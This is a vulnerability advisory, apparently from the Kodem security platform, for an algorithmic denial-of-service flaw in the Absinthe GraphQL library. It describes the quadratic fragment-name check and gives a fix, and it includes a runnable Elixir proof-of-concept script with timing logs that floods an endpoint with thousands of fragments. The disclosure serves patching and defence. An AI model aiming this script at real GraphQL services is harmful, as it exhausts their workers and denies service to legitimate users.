Summary
Absinthe: Quadratic fragment-name uniqueness check
An unauthenticated attacker can stall an Absinthe-backed GraphQL endpoint by submitting a query that contains many fragment definitions. The fragment-name uniqueness validation phase is O(N²) in the number of fragments, so a single modestly-sized request burns seconds of CPU per worker, and sustained traffic exhausts the worker pool (denial of service).
Introduced like with https://github.com/absinthe-graphql/absinthe/commit/0b46e3bcc06c0d3797bacd64761b908a84646c1d#diff-e540120c6a98cc1013be110d08e9d029511b9aabd26ad5f7f643c36834caac14
Details
Absinthe.Phase.Document.Validation.UniqueFragmentNames (lib/absinthe/phase/document/validation/unique_fragment_names.ex:14-40) walks every fragment in input.fragments via run/2, calling process/2 on each one. process/2 then calls duplicate?/2, which evaluates Enum.count(fragments, fn f -> f.name == name end), a full linear scan of the fragment list, for every individual fragment. The result is N · N name comparisons per document.
input.fragments is built directly from the GraphQL query text the caller sends at the head of the pipeline, so N is attacker-controlled. A minimum-size fragment definition (fragment a on T{f}) is roughly 16 bytes, so a ~1 MB document carries ~60 000 fragments and forces ~3.6 × 10⁹ comparisons inside this one phase. Phoenix's default 8 MB body limit allows substantially larger blow-ups if operators have not lowered it. Nothing in this module caps N.
The fix is to aggregate names once per call rather than re-scanning per fragment, e.g.:
dups =
for {name, k} <- Enum.frequencies_by(input.fragments, & &1.name),
k > 1,
into: MapSet.new(),
do: name
and then check MapSet.member?(dups, fragment.name) inside process/2. That collapses the phase to O(N).
PoC
A standalone script that builds a GraphQL document with a large number of minimal fragment definitions, feeds it through Absinthe's pipeline, and times the UniqueFragmentNames phase is attached at the end of this report. Running it shows the validation time growing quadratically with the fragment count.
Scripts and Logs
# Verifies: Quadratic fragment-name uniqueness check
Mix.install([
{:absinthe, "~> 1.7"},
{:absinthe_plug, "~> 1.5"},
{:bandit, "~> 1.0"},
{:plug, "~> 1.15"},
{:jason, "~> 1.4"},
{:req, "~> 0.5"}
])
defmodule VictimSchema do
use Absinthe.Schema
object :thing do
field :f, :string
end
query do
field :thing, :thing do
resolve(fn _, _ -> {:ok, %{f: "x"}} end)
end
end
end
defmodule VictimRouter do
use Plug.Router
plug :match
plug Plug.Parsers,
parsers: [:json],
pass: ["*/*"],
json_decoder: Jason
plug :dispatch
forward "/graphql",
to: Absinthe.Plug,
init_opts: [schema: VictimSchema]
match _ do
send_resp(conn, 404, "nope")
end
end
port = 47817
{:ok, _} = Bandit.start_link(plug: VictimRouter, port: port)
n = 20_000
fragments =
1..n
|> Enum.map(fn i -> "fragment f#{i} on Thing{f}" end)
|> Enum.join(" ")
query = "{ thing { f } } " <> fragments
IO.puts(
"Sending GraphQL document with #{n} fragment definitions (~#{div(byte_size(query), 1024)} KB) to 127.0.0.1:#{port}"
)
{us, response} =
:timer.tc(fn ->
Req.post!("http://127.0.0.1:#{port}/graphql",
json: %{query: query},
receive_timeout: 600_000,
retry: false
)
end)
ms = div(us, 1000)
IO.puts("HTTP response status: #{response.status}")
IO.puts("Total request elapsed (validation-dominated): #{ms} ms")
result =
if ms > 1000 do
"VERIFIED: ~#{n} fragments in one unauthenticated request forced #{ms} ms of CPU in Absinthe's UniqueFragmentNames phase (quadratic check)."
else
"NOT VERIFIED: elapsed #{ms} ms below DoS threshold"
end
IO.puts(result)
Logs
HTTP response status: 200
Total request elapsed (validation-dominated): 15451 ms
VERIFIED: ~20000 fragments in one unauthenticated request forced 15451 ms of CPU in Absinthe's UniqueFragmentNames phase (quadratic check).
Impact
Algorithmic complexity / denial-of-service. Any service that exposes an Absinthe GraphQL endpoint to untrusted callers is affected: a single unauthenticated POST containing many fragment definitions pins a worker process for seconds, and modest sustained traffic exhausts the request-handling pool. No authentication, schema knowledge, or special configuration is required, only the ability to send a GraphQL query large enough to contain many fragments, which is permitted by Phoenix's default body-size limit.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-43967? CVE-2026-43967 is a high-severity security vulnerability in absinthe (erlang), affecting versions >= 1.2.0, < 1.10.2. It is fixed in 1.10.2.
- Which versions of absinthe are affected by CVE-2026-43967? absinthe (erlang) versions >= 1.2.0, < 1.10.2 is affected.
- Is there a fix for CVE-2026-43967? Yes. CVE-2026-43967 is fixed in 1.10.2. Upgrade to this version or later.
- Is CVE-2026-43967 exploitable, and should I be worried? Whether CVE-2026-43967 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-43967 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-43967? Upgrade
absintheto 1.10.2 or later.